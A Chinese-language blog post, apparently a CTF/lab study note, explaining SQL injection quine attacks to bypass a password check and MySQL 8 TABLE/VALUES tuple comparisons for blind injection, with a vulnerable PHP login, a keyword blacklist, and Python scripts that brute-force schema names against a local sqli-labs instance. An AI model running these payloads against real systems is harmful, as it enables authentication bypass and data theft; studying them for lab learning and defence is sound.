Quine
sqli quine是mysql注入中的一种特殊的攻击方式.服务端对于用户登录的判断方式如下,则可以考虑quine攻击.
function checkSql($s) {
if(preg_match("/regexp|between|in|flag|=|>|<|and|\||right|left|reverse|update|extractvalue|floor|substr|&|;|\\\$|0x|sleep|\ /i",$s)){
alertMes('hacker', 'index.php');
}
}
if (isset($_POST['username']) && $_POST['username'] != '' && isset($_POST['password']) && $_POST['password'] != '') {
$username=$_POST['username'];
$password=$_POST['password'];
if ($username !== 'admin') {
alertMes('only admin can login', 'index.php');
}
checkSql($password);
$sql="SELECT password FROM users WHERE username='admin' and password='$password';";
$user_result=mysqli_query($con,$sql);
$row = mysqli_fetch_array($user_result);
if (!$row) {
alertMes("something wrong",'index.php');
}
if ($row['password'] === $password) {
die($FLAG);
} else {
alertMes("wrong password",'index.php');
}
}
可以看到他的逻辑是什么?是从数据库中查询我们输入的账户的用户信息,然后返回这个密码.如果密码和我们输入的密码是相同的话,就判定登录成功.那么问题来了,有没有可能在不知道密码的情况下构造一种查询,使得输入的password和返回的内容是相同的呢?这就是我们攻击的要点.
我们先来考虑这样一个问题,如下的sql语句执行结果是什么呢?
REPLACE(REPLACE('REPLACE(REPLACE(".",CHAR(34),CHAR(39)),CHAR(46),".")',CHAR(34),CHAR(39)),CHAR(46),'REPLACE(REPLACE(".",CHAR(34),CHAR(39)),CHAR(46),".")')
我们会惊奇的发现一个问题,就是这条语句执行完以后还是他本身.这也是我们操作的理论基础.下面贴一个python脚本,能够生成查询结果是它本身的sql注入语句.
def quine(data, debug=True):
if debug: print data
data = data.replace('$$',"REPLACE(REPLACE($$,CHAR(34),CHAR(39)),CHAR(36),$$)")
blob = data.replace('$$','"$"').replace("'",'"')
data = data.replace('$$',"'"+blob+"'")
if debug: print data
return data
脚本使用方法:
data = quine("' UNION SELECT $$ AS id,MD5(CHAR(122)) AS pw-- ")
data = quine("' UNION SELECT MD5($$)#)
总之就是把希望回显的内容去用$$替代即可.
下面记录一些具有quine特性的python程序
1.执行后为其本身的程序.
exec(s:='print(("exec(s:=%r)"%s),end="")')
执行后为其逆序的程序
exec(s:='print(("exec(s:=%r)"%s)[::-1],end="")')
执行后为其哈希的程序
exec(s:='import hashlib;print(hashlib.sha256(("exec(s:=%r)"%s).encode()).hexdigest(),end="")')
mysql8新特性
新特性感觉和注入相关的就是引入了两个新指令,一个新的比较方法.
1.table指令
TABLE table_name [ORDER BY column_name] [LIMIT number [OFFSET number]]
具体用法:
table users order by password;
table users limit 1,1;
注意:table指令可以配合union来使用,但是不支持通过where来过滤
2.values指令
VALUES row_constructor_list [ORDER BY column_designator] [LIMIT BY number]
具体用法:
VALUES ROW(1, 2, 3);
结果类似
利用方法:TABLE users union VALUES ROW(1,2,3);
来判断列数,类似order by判断方法.
3.元组比较
语句table users limit 1;
的查询结果:
mysql> table users limit 1;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | Dumb | Dumb |
+----+----------+----------+
1 row in set (0.00 sec)
实质上是(id, username, password)
与(1, 'Dumb', 'Dumb')
进行比较,比较顺序为自左向右,第一列(也就是第一个元组元素)判断正确再判断第二列(也就是第二个元组元素)。
两个元组第一个字符比大小,如果第一个字符相等就比第二个字符的大小,以此类推,最终结果即为元组的大小。
mysql> select ((1,'','')<(table users limit 1));
+-----------------------------------+
| ((1,'','')<(table users limit 1)) |
+-----------------------------------+
| 1 |
+-----------------------------------+
1 row in set (0.00 sec)
mysql> select ((2,'','')<(table users limit 1));
+-----------------------------------+
| ((2,'','')<(table users limit 1)) |
+-----------------------------------+
| 0 |
+-----------------------------------+
1 row in set (0.00 sec)
mysql> select ((1,'Du','')<(table users limit 1));
+-------------------------------------+
| ((1,'Du','')<(table users limit 1)) |
+-------------------------------------+
| 1 |
+-------------------------------------+
1 row in set (0.00 sec)
mysql> select ((1,'Dum','')<(table users limit 1));
+--------------------------------------+
| ((1,'Dum','')<(table users limit 1)) |
+--------------------------------------+
| 1 |
+--------------------------------------+
1 row in set (0.00 sec)
mysql> select ((1,'Dumb','')<(table users limit 1));
+---------------------------------------+
| ((1,'Dumb','')<(table users limit 1)) |
+---------------------------------------+
| 1 |
+---------------------------------------+
1 row in set (0.00 sec)
mysql> select ((1,'Dumb','D')<(table users limit 1));
+----------------------------------------+
| ((1,'Dumb','D')<(table users limit 1)) |
+----------------------------------------+
| 1 |
+----------------------------------------+
1 row in set (0.00 sec)
注意下面这种特殊形式的比较
table user limit 0,1
返回值:1 hel
看下面的例子
select (('0',2)<(table user limit 0,1))
返回值:1
select (('1',2)<(table user limit 0,1))
返回值:0
select (('2',2)<(table user limit 0,1))
返回值:0
select (('0aaaa',2)<(table user limit 0,1))
返回值:1
select (('1aaaa',2)<(table user limit 0,1))
返回值:0
4.盲注利用
首先先去爆破数据库名
import requests
url="http://192.168.199.155:8082/Less-1/"
flag=''
a=''
for i in range(1,100):
found = False
for j in range(32, 128): # ASCII printable characters
payload="?id=1' and (table information_schema.schemata limit 4,1)<('def','{}',3,4,5,6)--+".format(a+chr(j))#schemata的结构是本地来的.
r=requests.get(url=url+payload)
if "Dumb" not in r.text:
a += chr(j)
print(a)
found = True
break
if not found:
break
接下来判断该数据库的表在information_schema.tables
表中的位置.
import requests
url="http://192.168.199.155:8082/Less-1/"
for i in range(300,330):
payload1="?id=1' and ('def','security','0','',5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21) <(table information_schema.tables limit {},1)--+".format(i)
payload2="?id=1' and ('def','security','0','',5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21) <(table information_schema.tables limit {},1)--+".format(i)
r1=requests.get(url=url+payload1)
r2=requests.get(url=url+payload2)
#print(payload)
if "Dumb" not in r1.text and "Dumb" not in r2.text:
print(i)
挨个表名去爆
import requests
url="http://192.168.199.155:8082/Less-1/"
flag=''
a=''
for i in range(1,100):
found = False
for j in range(32, 128): # ASCII printable characters
payload="?id=1' and ('def','security','{}','',5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21)<(table information_schema.tables limit 322,1)--+".format(a+chr(j))
r=requests.get(url=url+payload)
if "Dumb" in r.text:
a += chr(j)
print(a)
found = True
break
if not found:
break
接下来可以用同样的方法去爆破列名和列中的具体内容.
标签:mysql8,特性,REPLACE,CHAR,table,data,quine,select From: https://www.cnblogs.com/merak-lbz/p/18169584